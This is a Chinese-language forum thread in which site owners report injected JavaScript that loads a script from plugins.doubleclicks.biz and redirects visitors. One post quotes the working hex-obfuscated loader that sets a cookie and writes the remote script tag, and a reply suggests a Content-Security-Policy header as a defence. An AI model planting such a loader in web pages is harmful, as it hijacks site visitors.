【已完成】网站js 在访问时会 加载 plugins.doubleclicks.biz，导.

为了能快速了解并处理您的问题，请提供以下基础信息：

面板、插件版本：8.0.42

问题描述：访问网站，js会被加载 https://plugins.doubleclicks.biz/plugins/ua/linkid.js  导致js加载失败。但是在服务器上面没有这个代码。

相关截图（日志、错误）：

网站问题建议联系你们程序员进行处理

我这里也出现这个问题了。用户首次打开会几次跳转到其他网站。
每一个js脚本都有一个 https://plugins.doubleclicks.biz/plugins/ua/linkid.js 脚本
发现是下面这个代码注入的。
请问 有方法补救嘛

1. var _0xafac=["\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x73\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x77\x61\x66\x5F\x73\x63","\x35\x38\x38\x39\x36\x34\x37\x37\x32\x36","\x25\x33\x43\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2E\x64\x6F\x75\x62\x6C\x65\x63\x6C\x69\x63\x6B\x73\x2E\x62\x69\x7A\x2F\x70\x6C\x75\x67\x69\x6E\x73\x2F\x75\x61\x2F\x6C\x69\x6E\x6B\x69\x64\x2E\x6A\x73\x27\x25\x33\x45\x25\x33\x43\x2F\x73\x63\x72\x69\x70\x74\x25\x33\x45","\x77\x72\x69\x74\x65"];function setc(_0xc588x2,_0xc588x3,_0xc588x4){var _0xc588x5= new Date();_0xc588x5[_0xafac[1]](_0xc588x5[_0xafac[0]]()+ _0xc588x4);document[_0xafac[2]]= _0xc588x2+ _0xafac[3]+ _0xc588x3+ _0xafac[4]+ _0xc588x5[_0xafac[5]]()}setc(_0xafac[6],_0xafac[7],360);document[_0xafac[9]](unescape(_0xafac[8]));

复制代码

爱吃竹子的猫熊 发表于 2024-3-20 09:10
我这里也出现这个问题了。用户首次打开会几次跳转到其他网站。
每一个js脚本都有一个 https://plugins.doub ...

发现添加内容安全策略Content Security Policy (CSP) 可以屏蔽此类问题。

1. header("Content-Security-Policy: script-src 'self' http://webapi.amap.com http://restapi.amap.com 'unsafe-eval';worker-src 'self' blob:;");
   

复制代码